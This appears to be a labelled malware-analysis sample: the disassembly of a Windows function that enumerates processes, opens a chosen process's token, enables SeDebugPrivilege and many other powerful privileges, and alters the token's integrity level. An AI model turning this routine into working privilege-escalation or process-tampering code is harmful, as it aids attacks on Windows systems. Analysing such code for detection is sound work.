Function at 0x10001e7f
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x30c
mov eax, dword [0x10026040]
xor eax, esp
mov dword [esp + 0x308], eax
push ebx
push esi
push edi
call fcn.10001d7b
push 6
pop ecx
push 0x88
xor ebx, ebx
lea eax, [esp + 0x28c]
mov esi, 0x1001ab94
lea edi, [esp + 0x274]
push ebx
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.10004190
add esp, 0xc
lea eax, [esp + 0x44]
mov edi, ebx
push 0x228
push ebx
push eax
call fcn.10004190
add esp, 0xc
mov dword [esp + 0x40], 0x22c
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [esp + 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10001f39
lea eax, [esp + 0x270]
push eax
push 0x1001abec
jmp 0x10001f2e
lea eax, [esp + 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov edi, dword [esp + 0x48]
lea eax, [esp + 0x270]
push eax
lea eax, [esp + 0x68]
push eax
call fcn.100061fa
pop ecx
pop ecx
test eax, eax
jne 0x10001f11
push edi
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
lea eax, [esp + 0x10]
push eax
push 0xf01ff
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [esp + 0x14]
mov edi, str.SeDebugPrivilege
push eax
push edi
xor esi, esi
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
push esi
push esi
push 0x10
mov dword [esp + 0x40], eax
lea eax, [esp + 0x3c]
push eax
push esi
push dword [esp + 0x24]
mov dword [esp + 0x48], 1
mov dword [esp + 0x50], ecx
mov dword [esp + 0x54], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x100020c8
push ecx
mov ecx, dword [esp + 0x14]
mov edx, edi
call fcn.10001e07
mov ecx, dword [esp + 0x14]
mov edx, str.SeChangeNotifyPrivilege
call fcn.10001e07
mov ecx, dword [esp + 0x14]
mov edx, str.SeTcbPrivilege
call fcn.10001e07
mov ecx, dword [esp + 0x14]
mov edx, str.SeImpersonatePrivilege
call fcn.10001e07
mov ecx, dword [esp + 0x14]
mov edx, str.SeLoadDriverPrivilege
call fcn.10001e07
mov ecx, dword [esp + 0x14]
mov edx, str.SeRestorePrivilege
call fcn.10001e07
mov ecx, dword [esp + 0x14]
mov edx, str.SeBackupPrivilege
call fcn.10001e07
mov ecx, dword [esp + 0x14]
mov edx, str.SeSecurityPrivilege
call fcn.10001e07
mov ecx, dword [esp + 0x14]
mov edx, str.SeSystemEnvironmentPrivilege
call fcn.10001e07
mov ecx, dword [esp + 0x14]
mov edx, str.SeIncreaseQuotaPrivilege
call fcn.10001e07
mov ecx, dword [esp + 0x14]
mov edx, str.SeTakeOwnershipPrivilege
call fcn.10001e07
mov ecx, dword [esp + 0x14]
mov edx, str.SeIncreaseBasePriorityPrivilege
call fcn.10001e07
mov ecx, dword [esp + 0x14]
mov edx, str.SeShutdownPrivilege
call fcn.10001e07
mov ecx, dword [esp + 0x14]
mov edx, str.SeAssignPrimaryTokenPrivilege
call fcn.10001e07
xor eax, eax
mov dword [esp + 0x24], 0x20
lea edi, [esp + 0x28]
stosd dword es:[edi], eax
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x24]
push eax
mov word [esp + 0x28], 0x101
mov byte [esp + 0x2f], 0x10
mov dword [esp + 0x30], esi
mov dword [esp + 0x20], eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 8
push eax
lea eax, [esp + 0x20]
push eax
push 0x19
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
call fcn.100020dd
xor eax, eax
inc eax
mov ecx, dword [esp + 0x314]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10002870
mov esp, ebp
pop ebp
ret